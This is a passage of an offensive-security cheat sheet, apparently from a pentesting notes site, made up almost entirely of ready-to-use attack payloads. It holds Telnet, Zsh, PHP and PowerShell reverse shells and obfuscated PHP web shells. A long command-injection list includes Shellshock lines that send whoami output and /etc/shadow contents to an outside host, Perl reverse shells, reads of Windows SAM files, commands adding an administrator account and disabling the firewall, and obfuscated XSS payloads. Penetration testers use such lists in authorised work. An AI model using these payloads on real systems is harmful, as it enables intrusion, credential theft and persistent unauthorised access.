### Telnet <a href="#telnet" id="telnet"></a>

```bash
TF=$(mktemp -u);mkfifo $TF && telnet 10.10.10.19 7878 0<$TF | sh 1>$TF
```

### Zsh <a href="#netcat" id="netcat"></a>

```bash
zsh -c 'zmodload zsh/net/tcp && ztcp 10.10.10.19 7878 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
```


# Obfuscated Shells

## Web Shells

### Obfuscated PHP

```php
#Usage: http://target.com/path/to/shell.php?0=command
<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>
```

```php
#Usage: http://target.com/path/to/shell.php?_=function&__=argument
#Example: http://target.com/path/to/shell.php?_=system&__=ls
<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?> <?=${'_'.$_}["_"](${'_'.$_}["__"]);?>
```

## Reverse Shells

### Emoji PHP

```php
php -r '$😀="1";$😁="2";$😅="3";$😆="4";$😉="5";$😊="6";$😎="7";$😍="8";$😚="9";$🙂="0";$🤢=" ";$🤓="<";$🤠=">";$😱="-";$😵="&";$🤩="i";$🤔=".";$🤨="/";$🥰="a";$😐="b";$😶="i";$🙄="h";$😂="c";$🤣="d";$😃="e";$😄="f";$😋="k";$😘="n";$😗="o";$😙="p";$🤗="s";$😑="x";$💀 = $😄. $🤗. $😗. $😂. $😋. $😗. $😙. $😃. $😘;$🚀 = "10.10.10.19";$💻 = 7878;$🐚 = "sh". $🤢. $😱. $🤩. $🤢. $🤓. $😵. $😅. $🤢. $🤠. $😵. $😅. $🤢. $😁. $🤠. $😵. $😅;$🤣 =  $💀($🚀,$💻);$👽 = $😃. $😑. $😃. $😂;$👽($🐚);'
```

### Powershell b64 encoded

```python
#Execute in your linux to generate your Powershell Reverse Shell
python -c $'import base64; IP = "10.10.10.19"; PORT = "7878"; payload = \'$client = New-Object System.Net.Sockets.TCPClient("%s",%d);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\' % (IP, int(PORT)); print("powershell -e " + base64.b64encode(payload.encode("utf16")[2:]).decode());'
```


# Misc

## Manual Requests

### Netcat

```bash
#Netcat scanner for HTTP servers
for i in $(seq 1 255); do nc -n -v -z "192.168.1.$i" 80 | grep "open"; done | tee webservers.txt

#Manually perform a HTTP Get Request
echo -ne "GET / HTTP/1.0\n\n" | nc www.web.com 80
```

### Socat

```bash
#Manually perform a HTTP Get Request on SSL port
echo -ne "GET / HTTP/1.0\n\n" | socat – OPENSSL:www.web.com:443,verify=0

#Check if TRACE is enabled on website
echo -ne "TRACE /something HTTP/1.0\nX-Header: Trace Enabled\n\n" | socat - OPENSSL:www.web.com:443,verify=0
```


# Command Injection

### Unix

```bash
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
\n/bin/ls -al\n
\n/usr/bin/id\n
\nid\n
\n/usr/bin/id;
\nid;
\n/usr/bin/id|
\nid|
;/usr/bin/id\n
;id\n
|usr/bin/id\n
|nid\n
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoami\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>
```

### Windows

```
`
|| 
| 
; 
'
'"
"
"'
& 
&& 
%0a
%0a%0d
%0a ping -i 30 127.0.0.1 %0a
%2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1
%20{${phpinfo()}}
%20{${sleep(20)}}
%20{${sleep(3)}}
() { :;}; curl http://135.23.158.130/.testing/shellshock.txt?vuln=12
| curl http://crowdshield.com/.testing/rce.txt
& curl http://crowdshield.com/.testing/rce.txt
; curl https://crowdshield.com/.testing/rce_vuln.txt
&& curl https://crowdshield.com/.testing/rce_vuln.txt
curl https://crowdshield.com/.testing/rce_vuln.txt
 curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl https://crowdshield.com/.testing/rce_vuln.txt
curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl https://crowdshield.com/.testing/rce_vuln.txt
$(`curl https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)
dir
| dir
; dir
$(`dir`)
& dir
&&dir
&& dir
| dir C:\
; dir C:\
& dir C:\
&& dir C:\
dir C:\
| dir C:\Documents and Settings\*
; dir C:\Documents and Settings\*
& dir C:\Documents and Settings\*
&& dir C:\Documents and Settings\*
dir C:\Documents and Settings\*
| dir C:\Users
; dir C:\Users
& dir C:\Users
&& dir C:\Users
dir C:\Users
;echo%20'<script>alert(1)</script>'
echo '<img src=https://crowdshield.com/.testing/xss.js onload=prompt(2) onerror=alert(3)></img>'// XXXXXXXXXXX
| echo "<?php include($_GET['page'])| ?>" > rfi.php
; echo "<?php include($_GET['page']); ?>" > rfi.php
& echo "<?php include($_GET['page']); ?>" > rfi.php
&& echo "<?php include($_GET['page']); ?>" > rfi.php
echo "<?php include($_GET['page']); ?>" > rfi.php
| echo "<?php system('dir $_GET['dir']')| ?>" > dir.php 
; echo "<?php system('dir $_GET['dir']'); ?>" > dir.php 
& echo "<?php system('dir $_GET['dir']'); ?>" > dir.php 
&& echo "<?php system('dir $_GET['dir']'); ?>" > dir.php 
echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
| echo "<?php system($_GET['cmd'])| ?>" > cmd.php
; echo "<?php system($_GET['cmd']); ?>" > cmd.php
& echo "<?php system($_GET['cmd']); ?>" > cmd.php
&& echo "<?php system($_GET['cmd']); ?>" > cmd.php
echo "<?php system($_GET['cmd']); ?>" > cmd.php
;echo '<script>alert(1)</script>'
echo '<script>alert(1)</script>'// XXXXXXXXXXX
echo '<script src=https://crowdshield.com/.testing/xss.js></script>'// XXXXXXXXXXX
| echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -i");};" > rev.pl
; echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -i");};" > rev.pl
& echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
&& echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
() { :;}; echo vulnerable 10
eval('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
eval('ls')
eval('pwd')
eval('pwd');
eval('sleep 5')
eval('sleep 5');
eval('whoami')
eval('whoami');
exec('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
exec('ls')
exec('pwd')
exec('pwd');
exec('sleep 5')
exec('sleep 5');
exec('whoami')
exec('whoami');
;{$_GET["cmd"]}
/index.html|id|
ipconfig
| ipconfig /all
; ipconfig /all
& ipconfig /all
&& ipconfig /all
ipconfig /all
\n
| net localgroup Administrators hacker /ADD
; net localgroup Administrators hacker /ADD
& net localgroup Administrators hacker /ADD
&& net localgroup Administrators hacker /ADD
net localgroup Administrators hacker /ADD
| netsh firewall set opmode disable
; netsh firewall set opmode disable
& netsh firewall set opmode disable
&& netsh firewall set opmode disable
netsh firewall set opmode disable
netstat
;netstat -a;
| netstat -an
; netstat -an
& netstat -an
&& netstat -an
netstat -an
| net user hacker Password1 /ADD
; net user hacker Password1 /ADD
& net user hacker Password1 /ADD
&& net user hacker Password1 /ADD
net user hacker Password1 /ADD
| net view
; net view
& net view
&& net view
net view
`ping 127.0.0.1`
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
;${@print(md5(RCEVulnerable))};
${@print("RCEVulnerable")}
${@print(system($_SERVER['HTTP_USER_AGENT']))}
pwd
| pwd
; pwd
& pwd
&& pwd
\r
| reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
; reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
& reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
&& reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
\r\n
route
| sleep 1
; sleep 1
& sleep 1
&& sleep 1
sleep 1
|| sleep 10
| sleep 10
; sleep 10
{${sleep(10)}}
& sleep 10 
&& sleep 10
sleep 10
|| sleep 15
| sleep 15
; sleep 15
& sleep 15 
&& sleep 15
 {${sleep(20)}}
{${sleep(20)}}
 {${sleep(3)}}
{${sleep(3)}}
| sleep 5
; sleep 5
& sleep 5
&& sleep 5
sleep 5
 {${sleep(hexdec(dechex(20)))}} 
{${sleep(hexdec(dechex(20)))}} 
sysinfo
| sysinfo
; sysinfo
& sysinfo
&& sysinfo
systeminfo
| systeminfo
; systeminfo
& systeminfo
&& systeminfo
$(`type C:\boot.ini`)
&&type C:\\boot.ini
| type C:\Windows\repair\SAM
; type C:\Windows\repair\SAM
& type C:\Windows\repair\SAM
&& type C:\Windows\repair\SAM
type C:\Windows\repair\SAM
| type C:\Windows\repair\SYSTEM
; type C:\Windows\repair\SYSTEM
& type C:\Windows\repair\SYSTEM
&& type C:\Windows\repair\SYSTEM
type C:\Windows\repair\SYSTEM
| type C:\WINNT\repair\SAM
; type C:\WINNT\repair\SAM
& type C:\WINNT\repair\SAM
&& type C:\WINNT\repair\SAM
type C:\WINNT\repair\SAM
type C:\WINNT\repair\SYSTEM
| type %SYSTEMROOT%\repair\SAM
; type %SYSTEMROOT%\repair\SAM
& type %SYSTEMROOT%\repair\SAM
&& type %SYSTEMROOT%\repair\SAM
type %SYSTEMROOT%\repair\SAM
| type %SYSTEMROOT%\repair\SYSTEM
; type %SYSTEMROOT%\repair\SYSTEM
& type %SYSTEMROOT%\repair\SYSTEM
&& type %SYSTEMROOT%\repair\SYSTEM
type %SYSTEMROOT%\repair\SYSTEM
whoami
| whoami
; whoami
' whoami
' || whoami
' & whoami
' && whoami
'; whoami
" whoami
" || whoami
" | whoami
" & whoami
" && whoami
"; whoami
$(`whoami`)
& whoami
&& whoami
```


# Cross-Site Scripting (XSS)

### XSS inside SVG File

```markup
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
	<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
	<script type="text/javascript">
		alert(document.cookie);
	</script>
</svg>
```

### XSS in filename

```
"><img src=x onerror=prompt(1).jpg
```

### Shortest Payloads

```markup
';alert(1);'
<script/src=//⑮.rs
```

### Weird Payloads

```javascript
//XSS using eval() and fromCharCode
<img onload="javascript:alert(String.fromCharCode(97,108,101,114,116,40,39,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,39,41,59))">

//Octal encoding
javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'

//UTF-32
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E

//JSfuck
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

//XSS in hidden input - Use CTRL+SHIFT+X to trigger the onclick event
<input type="hidden" accesskey="X" onclick="alert(1)">

//Unicode 's' character
<ſcript/src=//127.0.0.1/xss.js>

//Katana payload
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()

//Lontara payload
ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")()

//Cuneiform-alphabet payload
𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()

//Typical iframe
<iframe src=javascript:alert(1)>
```

### Event handlers

```
"onabort",
"onactivate",
"onafterprint",
"onafterscriptexecute",
"onafterupdate",
"onanimationend",
"onanimationiteration",
"onanimationstart",
"onariarequest",
"onautocomplete",
"onautocompleteerror",
"onbeforeactivate",
"onbeforecopy",
"onbeforecut",
"onbeforedeactivate",
"onbeforeeditfocus",
"onbeforepaste",
"onbeforeprint",
"onbeforescriptexecute",
"onbeforeunload",
"onbeforeupdate",
"onbegin",
"onblur",
"onbounce",
"oncancel",
"oncanplay",
"oncanplaythrough",
"oncellchange",
"onchange",
"onclick",
"onclose",
"oncommand",
"oncompassneedscalibration",
"oncontextmenu",
"oncontrolselect",
"oncopy",
"oncuechange",
"oncut",
"ondataavailable",
"ondatasetchanged",
"ondatasetcomplete",
"ondblclick",
"ondeactivate",
"ondevicelight",
"ondevicemotion",
"ondeviceorientation",
"ondeviceproximity",
"ondrag",
"ondragdrop",
"ondragend",
"ondragenter",
"ondragleave",
"ondragover",
"ondragstart",
"ondrop",
"ondurationchange",
"onemptied",
"onend",
"onended",
"onerror",
"onerrorupdate",
"onexit",
"onfilterchange",
"onfinish",
"onfocus",
"onfocusin",
"onfocusout",
"onformchange",
"onforminput",
"onfullscreenchange",
"onfullscreenerror",
"ongotpointercapture",
"onhashchange",
"onhelp",
"oninput",
"oninvalid",
"onkeydown",
"onkeypress",
"onkeyup",
"onlanguagechange",
"onlayoutcomplete",
"onload",
"onloadeddata",
"onloadedmetadata",
"onloadstart",
"onlosecapture",
"onlostpointercapture",
"onmediacomplete",
"onmediaerror",
"onmessage",
"onmousedown",
"onmouseenter",
"onmouseleave",
"onmousemove",
"onmouseout",
"onmouseover",
"onmouseup",
"onmousewheel",
"onmove",
"onmoveend",
"onmovestart",
"onmozfullscreenchange",
"onmozfullscreenerror",
"onmozpointerlockchange",
"onmozpointerlockerror",
"onmscontentzoom",
"onmsfullscreenchange",
"onmsfullscreenerror",
"onmsgesturechange",
"onmsgesturedoubletap",
"onmsgestureend",
"onmsgesturehold",
"onmsgesturestart",
"onmsgesturetap",
"onmsgotpointercapture",
"onmsinertiastart",
"onmslostpointercapture",
"onmsmanipulationstatechanged",
"onmspointercancel",
"onmspointerdown",
"onmspointerenter",
"onmspointerleave",
"onmspointermove",
"onmspointerout",
"onmspointerover",
"onmspointerup",
"onmssitemodejumplistitemremoved",
"onmsthumbnailclick",
"onoffline",
"ononline",
"onoutofsync",
"onpage",
"onpagehide",
"onpageshow",
"onpaste",
"onpause",
"onplay",
"onplaying",
"onpointercancel",
"onpointerdown",
"onpointerenter",
"onpointerleave",
"onpointerlockchange",
"onpointerlockerror",
"onpointermove",
"onpointerout",
"onpointerover",
"onpointerup",
"onpopstate",
"onprogress",
"onpropertychange",
"onratechange",
"onreadystatechange",
"onreceived",
"onrepeat",
"onreset",
"onresize",
"onresizeend",
"onresizestart",
"onresume",
"onreverse",
"onrowdelete",
"onrowenter",
"onrowexit",
"onrowinserted",
"onrowsdelete",
"onrowsinserted",
"onscroll",
